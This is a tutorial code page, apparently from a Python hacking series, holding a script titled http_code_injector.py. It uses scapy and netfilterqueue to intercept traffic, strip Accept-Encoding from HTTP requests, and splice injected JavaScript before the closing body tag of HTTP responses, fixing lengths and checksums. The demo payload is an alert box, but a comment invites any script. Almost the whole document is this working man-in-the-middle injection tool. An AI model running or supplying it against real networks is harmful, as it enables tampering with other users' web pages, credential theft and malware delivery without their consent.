Code for How to Inject Code into HTTP Responses in the Network in Python Tutorial

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http_code_injector.py

from scapy.all import * from colorama import init, Fore import netfilterqueue import re # initialize colorama init() # define colors GREEN = Fore.GREEN RESET = Fore.RESET def process_packet(packet): """ This function is executed whenever a packet is sniffed """ # convert the netfilterqueue packet into Scapy packet spacket = IP(packet.get_payload()) if spacket.haslayer(Raw) and spacket.haslayer(TCP): if spacket[TCP].dport == 80: # HTTP request print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}") try: load = spacket[Raw].load.decode() except Exception as e: # raw data cannot be decoded, apparently not HTML # forward the packet exit the function packet.accept() return # remove Accept-Encoding header from the HTTP request new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load) # set the new data spacket[Raw].load = new_load # set IP length header, checksums of IP and TCP to None # so Scapy will re-calculate them automatically spacket[IP].len = None spacket[IP].chksum = None spacket[TCP].chksum = None # set the modified Scapy packet back to the netfilterqueue packet packet.set_payload(bytes(spacket)) if spacket[TCP].sport == 80: # HTTP response print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}") try: load = spacket[Raw].load.decode() except: packet.accept() return # if you want to debug and see the HTML data # print("Load:", load) # Javascript code to add, feel free to add any Javascript code added_text = "<script>alert('Javascript Injected successfully!');</script>" # or you can add HTML as well! # added_text = "<p><b>HTML Injected successfully!</b></p>" # calculate the length in bytes, each character corresponds to a byte added_text_length = len(added_text) # replace the </body> tag with the added text plus </body> load = load.replace("</body>", added_text + "</body>") if "Content-Length" in load: # if Content-Length header is available # get the old Content-Length value content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1)) # re-calculate the content length by adding the length of the injected code new_content_length = content_length + added_text_length # replace the new content length to the header load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load) # print a message if injected if added_text in load: print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}") # if you want to debug and see the modified HTML data # print("Load:", load) # set the new data spacket[Raw].load = load # set IP length header, checksums of IP and TCP to None # so Scapy will re-calculate them automatically spacket[IP].len = None spacket[IP].chksum = None spacket[TCP].chksum = None # set the modified Scapy packet back to the netfilterqueue packet packet.set_payload(bytes(spacket)) # accept all the packets packet.accept() if __name__ == "__main__": # initialize the queue queue = netfilterqueue.NetfilterQueue() # bind the queue number 0 to the process_packet() function queue.bind(0, process_packet) # start the filter queue queue.run()